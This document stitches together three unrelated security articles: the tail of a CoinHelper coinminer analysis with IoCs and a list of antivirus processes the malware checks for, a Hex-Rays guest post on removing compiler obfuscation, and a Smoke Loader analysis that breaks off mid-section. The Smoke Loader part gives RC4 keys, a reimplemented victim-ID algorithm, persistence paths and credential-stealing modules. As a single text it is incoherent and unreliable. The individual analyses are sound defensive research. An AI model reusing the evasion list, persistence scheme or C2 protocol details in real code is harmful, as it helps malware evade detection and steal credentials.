First thing to notice is that the post is from 2020-11-06. It also contains some screenshots of the promised program, but it can be seen that it is a very old version of our AV from 2016. After launching the installation, users get to choose between installing the old version or updating AV to the newest version. Unfortunately, the installer was manipulated and neither of the options work and the no-update variant crashes the system. As a result, the output from this download for users is that they don’t get AV protection, they might crash their system and they also get infected with CoinHelper. Because of this we highly recommend downloading only signed software from verified and trustworthy sources and if possible verify hashes or checksums of installers.
As a matter of fact, neither of the AV installers worked. After launching an installer, CoinHelper would install itself and installation would fail because of various reasons. It makes sense that authors of the malware would choose malfunctioning these installers, because there is no reason to give victims a tool that kills and removes their freshly dropped malware from the system.
In the post, it is possible to download three different things:
- A torrent file with which it is possible to download the advertised program with CoinHelper
- A zip archive protected with a password “123” containing the advertised program with CoinHelper
After choosing between a zip archive or torrent, the page opens a new tab with information about the file to be downloaded. On the image below it is possible to see the date when the file was added to the page. Surprisingly it is 2021-07-12 and not 2020-11-06, so the file is much newer than the post referencing it. Because we have seen multiple versions of the malicious AutoIt scripts, we suppose that authors of the malware are updating these files with new versions of CoinHelper.
Additional information that can be noticed is that the torrent file was downloaded 549 times and after adding the 508 downloads of the zip archive, we can conclude that more than 1,000 people may have got infected just from this one post on this forum. After checking all the forum posts and files uploaded by the user `Alex4` we can confirm that the total number of downloads is more than 45,000 by the 2021-11-02. We consider this number to be quite alarming considering it is the spread of malware only from a single internet forum.
The second forum (`softmania[.]net`) is quite similar. In this case, the user from whose account the malware is spreading is `WebGid4`. This user has 56 publications on the forum among which you can find posts about following software:
| Advertised software | Description & functionality |
|---------------------|-----------------------------|
| Windows 11 64bit Pro-Home v.21 торрент | Windows 11 ISO image |
| Adobe Photoshop Lightroom Classic 2021 v10.0 + торрент | Photo and image editing software |
| Microsoft Office 2016 Professional Plus 16.0.7571.2075 + Ключ + Torrent | MS Office package |
| VMware Workstation 12 Pro 12.5.4 | Software that creates and runs virtual machines |
| Steinberg Cubase Pro 10.0.50 2020 + торрент | Software for composing, recording, mixing and editing music |
The first thing that caught our eyes was the ISO image of the brand new OS Windows 11. The official Windows 11 release date was 2021-10-05, which was only a few weeks before the release of this blogpost. This means that the attackers are really keeping the pace with the current trends and they try very hard to have interesting software to infect as many victims as they can.
After downloading the torrent named “Windows 11 64bit Pro-Home v.21 торрент” victims would download through the torrent client an ISO file named `windows_11_CLIENT_CONSUMER_x64FRE_en-us.iso`. This is a working ISO image of Windows 11, which installs a brand new operating system, but as a bonus it deploys CoinHelper that is inside the ISO image. After unpacking the ISO file, there is an executable called `\sources\setup.exe` present that contains bundled CoinHelper.
If the victims were more careful, a hint that something is sketchy could be seen after clicking on the download torrent link and opening a download page in the new tab. The torrent was added 2021-07-10, only 17 days after the official announcement of Windows 11 and ~3 months before the official release. This already raised many flags, and as we later found out, it is a Windows 11 developer version that was leaked in June 2021.
### Seeding source
We’ve seen these malicious files being downloaded through torrents which are seeded from seed boxes. A seed box is a remote server used for storing and seeding files through the P2P network that can be rented as a service. Seed boxes serve as a layer of anonymity for attackers because instead of exposing their IP address, only the IP address of the seed box can be seen. They also ensure high availability of the content, because the seed box is supposed to be running 24/7 (unlike regular PCs). Furthermore, companies renting seed boxes also offer different bandwidths to be able to support even higher download rates.
When we looked into the malicious torrents from the `Alex4` on `windows-program[.]com` forum, we saw that the malicious content is downloaded from the server with IP `88.204.193[.]34` on port `56000` (apart from others probably already infected seeders). After taking a closer look at this IP address, we’ve found out that the IP address is located in Kazakhstan and it is connected to the service named megaseed (`megaseed.kz`).
## Conclusion
In this blog post, we presented a detailed technical analysis of CoinHelper, a family of AutoIt droppers, which provides a massive coinmining campaign affecting hundreds of thousands of users worldwide. The malware is being spread in a form of a bundle with another software, being it game cheats, cracked software, or even clean installers such as Google Chrome or AV products, as well as hiding in Windows 11 ISO image, and many others.
Furthermore, we explained how the malware maps the victims of the campaign using public IP logging services to better understand the effectiveness of the chosen infection vectors in certain regions. Using these services, the malware also harvests information about victims’ security solutions and available computational power.
We explained how the malware can hide literally in any software from unofficial sources. The scope of the spreading is also supported by seeding the bundled apps via torrents, further abusing the unofficial way of downloading software.
### Indicators of Compromise (IoC)
Repository: `https://github.com/avast/ioc/tree/master/CoinHelper/`
| SHA256 | File name |
|--------|-----------|
| 83a64c598d9a10f3a19eabed41e58f0be407ecbd19bb4c560796a10ec5fccdbf | start.exe |
| cc36bb34332e2bc505da46ca2f17206a8ae3e4f667d9bdfbc500a09e77bab09c | asacpiex.dll |
| ea308c76a2f927b160a143d94072b0dce232e04b751f0c6432a94e05164e716d | CL_Debug_Log.txt |
| 126d8e9e03d7b656290f5f1db42ee776113061dbd308db79c302bc79a5f439d3 | 32.exe |
| 7a3ad620b117b53faa19f395b9532d3db239a1d6b46432033cc0ef6a8d2377cd | 64.exe |
| 7387e57e5ecfdba01f0ad25eeb49abf52fa0b1c66db0b67e382d3b9c057f51a8 | 32.txt |
| ff5aa6390ed05c887cd2db588a54e6da94351eca6f43a181f1db1f9872242868 | 64.txt |
| 6753d1a408e085e4b6243bfd5e8b44685e8930a81ec27795ccd61f8d54643c4e | amd.txt |
| 93dd8ef915ca39f2a016581d36c0361958d004760a32e9ee62ff5440d1eee494 | nvidia.txt |
### Mutex
- QPRZ1bWvXh
- QPRZ1bWvXh2
- QPRZ2bWvXh
- QPRZ3bWvXh
### Logging services
- `https://2no[.]co/1wbYc7`
### Appendix
#### List of checked security solutions
| AV / Security solution | Checked processes |
|------------------------|------------------|
| Avast | AvastUI.exe, AvastSvc.exe |
| NOD | egui.exe, ekrn.exe |
| Kaspersky | avp.exe, avpui.exe |
| AVG | avguix.exe, AVGUI.exe |
| Dr.web | dwengine.exe |
| Ad-Aware | AdAwareTray.exe, AdAwareDesktop.exe |
| SecureAPlus | SecureAPlus.exe, SecureAPlusUI.exe |
| Arcabit | arcabit.exe, arcamenu.exe |
| Bitdefender | seccenter.exe, bdagent.exe, bdwtxag.exe, agentcontroller.exe |
| CAT-QuickHeal | ONLINENT.exe, SCANNER.exe |
| Comodo | cis.exe, vkise.exe |
| Cybereason | CybereasonRansomFree.exe |
| Emsisoft | a2guard.exe, a2start.exe |
| eScan | escanmon.exe, TRAYICOS.exe, escanpro.exe |
| F-Prot | FProtTray.exe, FPWin.exe |
| GData | AVKTray.exe, GDKBFltExe32.exe, GDSC.exe |
| ikarus | guardxkickoff.exe, virusutilities.exe |
| K7AntiVirus | K7TSecurity.exe, K7TSMain.exe, K7TAlert.exe |
| MaxSecure | Gadget.exe, MaxProcSCN.exe, MaxSDTray.exe, MaxSDUI.exe, MaxUSBProc.exe |
| McAfee | McDiReg.exe, McPvTray.exe, McUICnt.exe, mcuicnt.exe, MpfAlert.exe, ModuleCoreService.exe, uihost.exe, delegate.exe |
| MicrosoftSecurityEssentials | msseces.exe |
| Panda | PSUAConsole.exe, PSUAMain.exe |
| TrendMicro | PtSessionAgent.exe, uiSeAgnt.exe, uiWinMgr.exe |
| TrendMicro-HouseCall | HousecallLauncher.exe, housecall.bin, HouseCallX.exe |
| VIPRE | SBAMTray.exe, VIPREUI.exe |
| Webroot | WRSA.exe |
| ZoneAlarm | zatray.exe |
| AhnLab-V3 | ASDCli.exe, ASDUp.exe, MUdate.exe, V3UPUI.exe, V3UI.exe |
| Avira | avgnt.exe, Avira.Systray.exe, ngen.exe, Avira.VPN.Notifier.exe, msiexec.exe |
| Bkav | BkavHome.exe |
| BkavPro | Bka.exe, BkavSystemServer.exe, BLuPro.exe |
| F-Secure | fshoster32.exe |
| Jiangmin | KVMonXP.kxp, KVPreScan.exe, KVXp.kxp |
| Kingsoft | kislive.exe, kxetray.exe |
| NANO-Antivirus | nanoav.exe |
| Qihoo-360 | efutil.exe, DesktopPlus.exe, PopWndLog.exe, PromoUtil.exe, QHSafeMain.exe, QHSafeTray.exe, SoftMgrLite.exe |
| Rising | popwndexe.exe, rsmain.exe, RsTray.exe |
| SUPERAntiSpyware | SUPERAntiSpyware.exe |
| Tencent | QQPCTray.exe, QQPCUpdateAVLib.exe, Tencentdl.exe, TpkUpdate.exe |
| VBA32 | vba32ldrgui.exe, VbaScheluder.exe, BavPro_Setup_Mini_C1.exe |
| ViRobot | hVrSetup.exe, hVrTray.exe, hVrScan.exe, hVrContain.exe |
| Zillya | ZTS.exe |
| Defender | MSASCui.exe, MSASCuiL.exe |
| SmartScreen | smartscreen.exe | |
# Hex-Rays Microcode API vs. Obfuscating Compiler
This is a guest entry written by Rolf Rolles from Mobius Strip Reverse Engineering. His views and opinions are his own, and not those of Hex-Rays. Any technical or maintenance issues regarding the code herein should be directed to him.
In this entry, we’ll investigate an in-the-wild malware sample that was compiled by an obfuscating compiler to hinder analysis. We begin by examining its obfuscation techniques and formulating strategies for removing them. Following a brief detour into the Hex-Rays CTREE API, we find that the newly-released microcode API is more powerful and flexible for our task. We give an overview of the microcode API, and then we write a Hex-Rays plugin to automatically remove the obfuscation and present the user with a clean decompilation. The plugin is open source and weighs in at roughly 4KLOC of heavily-commented C++. Additionally, we are also releasing a helpful plugin for aspiring microcode plugin developers called the Microcode Explorer, which will also be distributed with the Hex-Rays SDK in subsequent releases.
## Initial Investigation
The sample we’ll be examining was given to me by a student in my SMT-based binary analysis class. The binary looks clean at first. IDA’s navigation bar doesn’t immediately indicate tell-tale signs of obfuscation. The binary is statically linked with the ordinary Microsoft Visual C runtime, indicating that it was compiled with Visual Studio. And finally, the binary has a RICH header, indicating that it was linked with the Microsoft Linker. Thus far, the binary seems normal. However, nearly any function’s assembly and decompilation listings immediately tell a different tale. We can see constants with high entropy, redundant computations that an ordinary compiler optimization would have removed, and an unusual control flow structure.
### Pattern-Based Obfuscation
In the decompilation listing, we see repeated patterns. The underlined terms are identical. With a little thought, we can determine that the underlined sequence always evaluates to 0 at run-time, because:
- x is either even or odd, and x-1 has the opposite parity.
- An even number times an odd number is always even.
- Even numbers have their lowest bit clear.
- Thus, AND by 1 produces the value 0.
That the same pattern appears repeatedly is an indication that the obfuscating compiler has a repertoire of patterns that it introduces into the code prior to compilation.
### Opaque Predicates
Another note about the previous figure is that the topmost occurrence of the x*(x-1) & 1 pattern is inside of an if-statement with an AND-compound conditional. Given that this expression always evaluates to zero, the AND-compound will fail and the body of the if-statement will never execute. This is a form of obfuscation known as opaque predicates: conditional branches that in fact are not conditional, but can only evaluate one way or the other at runtime.
### Control-Flow Flattening
The obfuscated functions exhibit unusual control flow. Each contains a switch statement in a loop (though the “switch statement” is compiled via binary search instead of with a table). This is evidence of a well-known form of obfuscation called “control flow flattening.” In brief, it works as follows:
1. Assign a number to each basic block.
2. The obfuscator introduces a block number variable, indicating which block should execute.
3. Each block, instead of transferring control to a successor with a branch instruction as usual, updates the block number variable to its chosen successor.
4. The ordinary control flow is replaced with a switch statement over the block number variable, wrapped inside of a loop.
### Odd Stack Manipulations
Finally, we can also see that the obfuscator manipulates the stack pointer in unusual ways. Particularly, it uses __alloca_probe to reserve stack space for function arguments and local variables, where a normal compiler would, respectively, use the push instruction and reserve space for all local variables at once in the prologue. IDA has built-in heuristics to determine the numeric argument to __alloca_probe and track the effects of these calls upon the stack pointer. However, the output of the obfuscator leaves IDA unable to determine the numeric argument, so IDA cannot properly track the stack pointer.
## Plan of Attack
Now that we’ve seen the obfuscation techniques, let’s break them. A maxim I’ve learned doing deobfuscation is that the best results come from working at the same level of abstraction that the obfuscator used. For obfuscators that work on the assembly-language level, historically my best results have come in using techniques that represent the obfuscated code in terms of assembly language. For obfuscators that work at the source- or compiler internal-level, my best results have come from using a decompiled representation. So, for this obfuscator, a Hex-Rays plugin seemed among our best options.
The investigation above illuminated four obfuscation techniques for us to contend with:
- Pattern-based obfuscation
- Opaque predicates
- Alloca-related stack manipulation
- Control flow flattening
The first two techniques are implemented via pattern substitutions inside of the obfuscating compiler. Pattern-based deobfuscation techniques, for all their downsides, tend to work well when the obfuscator itself employed a repertoire of patterns — especially a limited one — as seems to be the case here. So, we will attack these via pattern matching and replacement.
The alloca-related stack manipulation is the simplest technique to bypass. The obfuscator’s non-standard constructs have thwarted IDA’s ordinary analysis surrounding calls to __alloca_probe, and hence the obfuscation prevented IDA from properly accounting for the stack differentials induced by these calls. To break this, we will let Hex-Rays do most of the work for us. For every function that calls __alloca_probe, we will use the API to decompile it, and then at every call site to __alloca_probe, we will extract the numeric value of its sole argument. Finally, we will use this information to create proper stack displacements within the disassembly listing. The code for this is very straightforward.
As for control flow flattening, this is the most complicated of the transformations above. We’ll get back to it later.
## First Approach: Using the CTREE API
I began my deobfuscation by examining the decompilation of the obfuscated functions and cataloging the obfuscated patterns therein. The following is a partial listing. Though I later switched to the Hex-Rays microcode API, I started with the CTREE API, the one that has been available since the first releases of the Hex-Rays SDK. It is overall simpler than the microcode API and has IDAPython bindings where the microcode API currently does not.
The CTREE API provides a data structure representation of the decompiled code, from which the decompilation listing that is presented to the user is generated. Thus, there is a direct, one-to-one correspondence between the decompilation listing and the CTREE representation. For example, an if-statement in the decompilation listing corresponds to a CTREE data structure of type cif_t, which contains a pointer to a CTREE data structure of type cexpr_t representing the if-statement’s conditional expression, as well as a pointer to a CTREE data structure of type cinsn_t representing the body of the if-statement.
We will need to know how our patterns are represented in terms of CTREE data structures. To assist us, the VDS5 sample plugin from the Hex-Rays SDK helpfully displays the graph of a function’s CTREE data structures. The following figure shows decompilation output and its corresponding CTREE representation in graphical form. Hopefully, the parallels between them are clear.
To implement our pattern-based deobfuscation rules, we simply need to write functions to locate instances within the function’s CTREE of the data types associated with the obfuscated patterns and replace them with CTREE versions of their deobfuscated equivalents. For example, to match the (x-1) * x & 1 pattern we saw before, we determine the CTREE representation and write an if-statement that matches it.
In practice, these rules should be written more generically when possible. I.e., multiplication and bitwise AND are commutative; the pattern matching code should be able to account for this, and match terms with the operands swapped. Also, see the open-source project HRAST for an IDAPython framework that offers a less cumbersome approach to pattern-matching and replacement.
The only point of subtlety in replacing obfuscated CTREE elements with deobfuscated equivalents is that each CTREE expression has associated type information, and we must carefully ensure that our replacements are of the proper type. The easiest solution is simply to copy the type information from the CTREE expression we’re replacing.
### First Major CTREE Issue: Compiler Optimizations
Cataloging the patterns and writing match and replace functions for them was straightforward. However, after having done so, the decompilation showed obvious opportunities for improvement by application of standard compiler optimizations. This perplexed me at first. I knew that Hex-Rays already implemented these compiler optimizations, so I was confused that they weren’t being applied in this situation. Igor Skochinsky suggested that, while Hex-Rays does indeed implement these optimizations, that they take place during the microcode phase of decompilation, and that these optimizations don’t happen anymore once the CTREE representation has been generated. Thus, I would either have to port my plugin to the microcode world, or write these optimizations myself on the CTREE level. I set the issue aside for the time being and continued with the other parts of the project.
### Control Flow Unflattening via the CTREE API
Next, I began working on the control flow unflattening portion. I envisioned this taking place in three stages. My final solution included none of these steps, so I won’t devote a lot of print space to my early plan. But, I’ll discuss the original idea, and the issues that lead me to my final solution.
1. Starting from the switch-as-binary-search implementation, rebuild an actual switch statement (rather than a mess of nested if and goto statements).
2. Examine how each switch case updates the block number variable to recover the original control flow graph. I.e., each update to the block number variable corresponds to an edge from one block to its numbered target.
3. Given the control flow graph, reconstruct high-level control flow structures such as loops, if/else statements, break, continue, return, and so on.
I began by writing a CTREE-based component to reconstruct switch statements from obfuscated functions. The basic idea — inspired by the assembly language implementation — is to identify the variable that represents the block number to execute, find equality comparisons of this variable against constant numbers, and extract these numbers (these are the case labels) as well the address of the code that executes if the comparison matches (these are the bodies of the case statements).
This proved more difficult than I expected. Although the assembly language implementations had a predictable structure, Hex-Rays had applied transformations to the high-level control flow which made it difficult to extract the information I was after. We see above the introduction of a strange while loop in the inner switch, and the final if-statement has been inverted to a != conditional rather than a == conditional, which might seem a more logical translation of the assembly code. The example above doesn’t show it, but sometimes Hex-Rays rebuilds small switch statements that cover portions of the larger switch. Thus, our switch reconstruction logic must take into account that these transformations might have taken place.
For ordinary decompilation tasks, these transformations would have been valuable improvements to the output; but in my unusual situation, it meant my switch recovery algorithm was basically fighting against these transformations. My first attempt at rebuilding switches had a lot of cumbersome corner cases, and overall did not work very well.
### Control Flow Reconstruction
Still, I pressed on. I started thinking about how to rebuild high-level control flow structure (if statements, while loops, returns, etc.) from the recovered control flow graph. While it seemed like a fun challenge, I quickly realized that Hex-Rays obviously already includes this functionality. Could I re-use Hex-Rays’ existing algorithms to do that? Another conversation with Igor lead to a similar answer as before: in order to take advantage of Hex-Rays’ built-in control flow structuring algorithms, I would need to operate at the microcode level instead of the CTREE level. At this point, all of my issues seemed to be pointing me toward the newly-available microcode API. I bit the bullet and started over with the project using the microcode API.
## Overview of the Hex-Rays Microcode API
My first order of business was to read the SDK’s hexrays.hpp, which now includes the microcode API. I’ll summarize some of my findings here; I have provided some more, optional information in an appendix.
At Igor’s suggestion, I compiled the VDS9 plugin included with the Hex-Rays SDK. This plugin demonstrates how to generate microcode for a given function (using the gen_microcode() API) and print it to the output window (using mbl_array_t::print()).
### Microcode API Data Structures
For my purposes, the most important things to understand about the microcode API were four key data structures:
1. minsn_t, microcode instructions.
2. mop_t, operands for microcode instructions.
3. mbl_array_t, which contains the graph for the microcode function.
4. mblock_t, the basic blocks within the microcode graph, which contain the instructions, and the edges between the blocks.
For the first two points, Ilfak has given an overview presentation about the microcode instruction set. For the second two points, he has published a blog entry showing graphically how all of these data structures relate to one another. Aspiring microcode API plugin developers would do well to read those entries.
### Microcode Maturity
As Hex-Rays internally optimizes and transforms the microcode, it moves through so-called “maturity phases,” indicated by an enumerated element of type mba_maturity_t. For example, immediately after generation, the microcode is said to be at maturity MMAT_GENERATED. After local optimizations have been performed, the microcode moves to maturity MMAT_LOCOPT. After performing analysis of function calls (such as deciding which pushes onto the stack correspond to which called function), the microcode moves to maturity MMAT_CALLS. When generating microcode via the gen_microcode() API, the user can specify the desired maturity level to which the microcode should be optimized.
### The Microcode Explorer Plugin
Examining the microcode at various levels of maturity is an informative and impressive undertaking that I recommend for all would-be microcode API plugin developers. It sheds light on which transformations take place in which order, and the textual output is easy to comprehend. At the start of this project, I spent a good bit of time reading through microcode dumps at various levels of maturity.
Though the microcode dump output is very nice and easy to read, its output does not show the low-level details of how the microcode instructions and operands are represented — which is critical information for writing microcode plugins. As such, to understand the low-level representation, I wrote functions to dump minsn_t instructions and mop_t operands in textual form.
For the benefit of would-be microcode plugin developers, I created a plugin I call the Microcode Explorer. With your cursor within a function, run the plugin. It will ask you to select a decompiler maturity level. Once the user makes a selection, the plugin shows a custom viewer in IDA with the microcode dump at the selected maturity level.
The microcode dump is mostly non-interactive, but it does offer the user two additional features. First, pressing G in the custom viewer will display a graph of the entire microcode representation. Second, the Microcode Explorer can display the graph for a selected microinstruction and its operands, akin to the VDS5 plugin we saw earlier which displayed a graph of a function’s CTREE representation.
### Pattern Deobfuscation with the Microcode API
Once I had a basic handle on the microcode API instruction set, I began by porting my CTREE-level pattern matching and replacement code to the microcode API. This was more laborious due to the more elaborate nature of the microcode API, and the fact I had to write it in C++ instead of Python. All in all, the porting process was mostly straightforward.
Also, I needed to know how to integrate my pattern replacement with the rest of Hex-Rays’ decompiler infrastructure. It was easy enough to write and test my pattern replacement code against the data returned by the gen_microcode() API, but doing so has no effect on the decompilation listing that the user ultimately sees (since the decompiler calls gen_microcode() internally, and we don’t have access to the mbl_array_t that it generates).
The VDS10 SDK sample illustrates how to integrate pattern-replacement into the Hex-Rays infrastructure. In particular, the SDK defines an “instruction optimizer” data type called optinsn_t. The virtual method optinsn_t::func() is given a microinstruction as input. That method must inspect the provided microinstruction and try to optimize it, returning a non-zero value if it can. Once the user installs their instruction optimizer with the SDK function install_optinsn_handler(), their custom optimizer will be called periodically by the Hex-Rays decompiler kernel, thus achieving integration that ultimately affects the user’s view of the decompilation listing.
You may recall that a major impetus for moving the pattern-matching to the microcode world was that, after the replacements had been performed, Hex-Rays had an opportunity to improve the code further via standard compiler optimizations. By moving to the microcode world, now we do get the compiler optimizations we desire.
## Control Flow Unflattening, Overview
To recap, control flow flattening eliminates direct block-to-block control flow transfers. The flattening process introduced a “block number variable” which determines the block that should execute at each step of the function’s execution. Each flattened function’s control flow structure has been changed into a switch over the block number variable, which ultimately shepherds execution to the correct block. Every block must update the block number variable to indicate the block that should execute next after the current one.
The control flow unflattening process is conceptually simple. Put simply, our task is to rebuild the direct block-to-block control flows, and in so doing, eliminate the control flow switch mechanism. Implementation-wise, unflattening is integrated with the Hex-Rays decompiler kernel in a similar fashion to how we integrated pattern-matching. Specifically, we register an optblock_t callback object with Hex-Rays, such that our unflattener will be automatically invoked by the Hex-Rays kernel, providing a fully automated experience for the user.
The next chapter will discuss the implementation in more depth. In the following subsections, we’ll show an overview of the process pictorially. Just three steps are all we need to remove the control flow flattening. Once we rebuild the original control flow transfers, all of Hex-Rays’ existing machinery for control flow restructuring will do the rest of the work for us.
### Step #1: Determine Flattened Block Number to Hex-Rays Block Number Mapping
Our first task is to determine which flattened block number corresponds to which Hex-Rays mblock_t. The following figure is the microcode-level representation for a small function’s control flow switch. Hex-Rays is currently calling the block number variable ST14_4.4. If that variable matches 0xCBAD6A23, the jz instruction on block @2 transfers control to block @6. Similarly, 0x25F52EB5 corresponds to block @9, and 0x31B8F0BC corresponds to block @10. The information just described is the mapping between flattened block numbers and Hex-Rays block numbers.
### Step #2: Determine Each Flattened Block’s Successors
Next, for each flattened block, we need to determine the flattened block numbers to which it might transfer control. Flattened blocks may have one successor if their original control flow was unconditional, or two potential successors if their original control flow was conditional.
### Step #3: Insert Control Transfers Directly from Source Blocks to Destinations
Finally, now that we know the Hex-Rays mblock_t numbers to which each flattened block shall pass control, we can modify the control flow instructions in the microcode to point directly to their successors, rather than going through the control flow switch. If we do this for all flattened blocks, then the control flow switch will no longer be reachable, and we can delete it, leaving only the function’s original, unflattened control flow.
## Control Flow Unflattening, In More Detail
As always, the real world is messier than curated examples. The remainder of this section details the practical engineering considerations that go into implementing unflattening as a fully-automated procedure.
### Heuristically Identifying Flattened Functions
It turns out that a few non-library functions within the binary were not flattened. I had enough work to do simply making my unflattening code work for flattened functions, such that I did not need the added hassle of tracking down issues stemming from spurious attempts to unflatten non-flattened functions. Thus, I devised a heuristic for determining whether or not a given function was flattened.
### Simplify the Graph Structure
The flattened functions sometimes have jumps leading directly to other jumps, or sometimes the microcode translator inserts goto instructions that target other goto instructions. For example, in the following figure, block 4 contains a single goto instruction to block 8, which in turn has a goto instruction to block 15. These complicate our later bookkeeping, so I decided to eliminate goto-to-goto transfers.
### Extract Block Number Information
In step #1 of the unflattening procedure described previously, we need to know:
- Which variable contains the block number
- Which block number corresponds to which Hex-Rays microcode block
From the above, we now know which variable is the block update variable (or block comparison variable, if there is none). We also know which flattened block number corresponds to which Hex-Rays mblock_t number. For every flattened block, we need to determine the number to which it sets the block update variable. We walk backwards, from the end of the flattened block region, looking for assignments to the block update variable. If we find an assignment from another variable, we recursively begin tracking the other variable. If we find a number, we’re done.
### Unflattening
From the above, we now know which variable is the block update variable (or block comparison variable, if there is none). We also know which flattened block number corresponds to which Hex-Rays mblock_t number. For every flattened block, we need to determine the number to which it sets the block update variable. We walk backwards, from the end of the flattened block region, looking for assignments to the block update variable. If we find an assignment from another variable, we recursively begin tracking the other variable. If we find a number, we’re done.
## Appendix: More about the Microcode API
### The Microcode Verifier
Chances are good that if you’re going to use the microcode API, you probably will be modifying the microcode objects described in the previous section. This is murky territory for third-party plugin developers, especially those of us who are new to the microcode API, since modifying the microcode objects in an illegal fashion can lead to crashes or internal errors.
### Intermediate Representations and the Microcode Instruction Set
If you’ve ever studied compilers, you are surely familiar with the notion of an intermediate representation. The minsn_t and mop_t data types, taken together, are the intermediate representation used in the microcode phase of the Hex-Rays decompiler.
So then, given that the Hex-Rays microcode API has only intermediate representation, which type is it — is it closer to HIR, or is it closer to LIR? The answer is, it uses a clever design to simulate both HIR and LIR! As the microcode matures, it is gradually transformed from a LIR-like representation, with only one operation per statement, to a HIR-like representation, with arbitrarily many operations per statement. |
# Analysis of Smoke Loader in New Tsunami Campaign
**By Kaoru Hayashi**
**December 19, 2018**
On November 8th, the Japanese Meteorological Agency issued an alert about a fake tsunami warning email masquerading as coming from the agency. According to the alert, the email was written in Japanese and asked recipients to click the link to confirm their evacuation area from a tsunami after an earthquake. The link in the email is not critical information to save your life but malware to steal crucial information from you. The malware is Smoke Loader, infamous commodity malware used by various cybercriminals since 2011.
Smoke Loader is a modular loader where attackers can select any payload to be installed on the victim by Smoke Loader. Thus, the final payload can vary between attacks. For example, we previously reported on the Retefe Banking Trojan being distributed by Smoke Loader in Sweden and Japan. We have also seen backdoors, ransomware, cryptominers, password stealers, Point-of-Sale (PoS) malware, and banking Trojans installed by Smoke Loader.
This attack seems to be aiming to steal credentials from unidentified targets in Japan and took a similar approach to normal targeted attacks. The attacker registered the fake Japanese government agency domain and ensured the file path to the malware on the server is close to the legitimate agency website. They wrote the lure email in fluent Japanese and did not distribute it broadly. In late November, the attacker started using another commodity malware known as AzoRult.
## Smoke Loader Analysis
Though it’s been seven years since Smoke Loader first appeared, the author keeps updating the code. Malwarebytes published an excellent analysis of Smoke Loader in 2016. The samples we looked at added the following techniques to avoid detection or analysis:
- Code obfuscation by junk jump
- Decrypts subroutines and encrypts them after execution
- Employs PROPagate trick to inject second stage code into an explorer.exe process
- Changes the algorithm of generating the unique ID
- Encrypts network traffic and payload file
Some of these techniques were already reported by FireEye and Talos this year. We will focus on the unique ID, C2 communication, and the payload in this blog.
### Generating a Unique ID
Initially, the threat generates a unique ID for the compromised machine from the computer name, the hardcoded static number (0B0D0406), and the volume serial number of the system drive. Smoke Loader uses the unique ID for three purposes:
- Tracking the compromised machine at C2.
- Encrypting payload by the ID.
- Creating random file names for persistence.
Here’s how to create the unique ID. If the computer name is “Test_PC” and the volume serial number is “12345678”, the threat appends the three values like the following:
```
"Test_PC" + "0B0D0406" + "12345678" = "Test_PC0B0D040612345678"
```
It then calculates the MD5 hash value of the string:
```
MD5("Test_PC0B0D040612345678") = 41EE612602833345FC5BD2B98103811C
```
It then appends the volume serial to the hash value and gets the 40 characters unique ID:
```
"41EE612602833345FC5BD2B98103811C" + "12345678" = "41EE612602833345FC5BD2B98103811C12345678"
```
Next, Smoke Loader generates two strings based on the first eight characters and the last eight characters of the ID. Following is the algorithm written in Python:
```python
# the unique ID
id = "41EE612602833345FC5BD2B98103811C12345678"
def makeStrings(_s):
results = ""
for n in _s:
results += chr((ord(n) - 0x30) + ord('a'))
return results
stringA = makeStrings(id[:8]) # "ebvvgbcg"
stringB = makeStrings(id[-8:]) # "bcdefghi"
```
Smoke Loader uses these strings for the file name. It copies itself as follows:
```
%APPDATA%\Microsoft\Windows\[stringA\[stringB].exe
```
It creates the following shortcut file to execute the threat when the computer starts:
```
%StartUp%\[stringA].lnk
```
These two strings look random. However, the attacker always generates two identical strings to the compromised machine since it is based on the static values of the environment.
### C2 Communication
Smoke Loader contains the following hardcoded C2 address:
```
jma-go[.]jp/js/metrology/jma.php
```
An outline of initial C2 communication follows:
1. Smoke Loader sends the encrypted data to C2 by HTTP POST method.
2. C2 server replies HTTP 404 response (Not Found) with encrypted data.
3. Smoke Loader extracts the plugin from C2, encrypts it by using the unique ID, and saves it to local disk.
4. Smoke Loader extracts the payload modules from the encrypted plugin file and injects them into an Explorer.exe process.
### Making Initial POST Data
Smoke Loader creates the data to send to C2. At offset 0, there is a marker ‘E207’ followed by the unique ID. The marker is ‘072E’ in little-endian form and ‘2018’ in decimal. Smoke Loader uses the marker every time communicating with C2.
Smoke Loader finally encrypts the data with RC4 cipher by using the static key 0x161A9A0C and sends it to the C2 by HTTP POST method.
### Plugin from C2
The C2 server responds with the plugin data containing the final payload with HTTP 404 status code. Smoke Loader obtains the encrypted header size from the first DWORD value of the plugin and decrypts the following bytes with RC4 cipher by the different static key 0x1D17D70A.
After checking the plugin size, Smoke Loader encrypts plugin data with an RC4 cipher using the unique ID and saves it as the following path with the generated string from the ID. Since the file is encrypted with the distinct value to the machine, the file hash is always different on each computer even if the plugin is identical:
```
%APPDATA%\Microsoft\Windows\[stringA]\[stringA]
```
Then Smoke Loader decrypts the saved plugin data. The plugin data has a thirteen-byte length header and consists of the following values:
| Offset | Size | Value |
|--------|-------|-----------------------------------------|
| 0x00 | DWORD | Plugin size |
| 0x04 | DWORD | Plugin marker, 0xD5A08DD8 |
| 0x08 | DWORD | Unknown, possible plugin identifier |
| 0x0C | BYTE | Number of modules in the plugin |
The plugin can contain multiple modules. In the case of this tsunami campaign, the payload contains six modules. Each module has a header that includes its size and RC4 key to decrypt.
### Payload Modules
The following table shows the list of modules in this campaign. There are three types of functions in two architectures.
| Module | Architecture | Function |
|--------|--------------|-------------------------------------------------------|
| 1 | 32 bit | Stealing stored credentials from browsers and email programs |
| 2 | 64 bit | Incomplete porting of Module 1 |
| 3 | 32 bit | Stealing data sent from Browsers |
| 4 | 64 bit | Same as Module 3 |
| 5 | 32 bit | Stealing login credentials from email protocols |
| 6 | 64 bit | Same as Module 5 |
When injecting modules, Smoke Loader passes the configuration data including the following values to the modules for C2 communication:
- RC4 encryption key for HTTP POST
- The unique ID
- C2 URL
**Module 1** aims to steal stored credentials in the following programs:
- Internet Explorer
- Firefox
- Chrome
- Opera
- Chromium
- Yandex
- Amigo
- QQBrowser
- Outlook
- Thunderbird
- WinSCP
Module 2 contains a partial code of Module 1 but appears to be in the under development phase.
**Modules 3 and 4** hook APIs and steal all data being sent from the following browsers:
- Firefox
- Internet Explorer
- Edge
- Chrome
- Opera
**Modules 5 and 6** hook APIs and steal user ID, password, and their associated remote FTP and email server addresses on the following protocols:
- FTP on port 21
- SMTP on port 25, 587, 2525
- POP3 on port 110
- IMAP on port 143
### Infrastructures and Other Tools
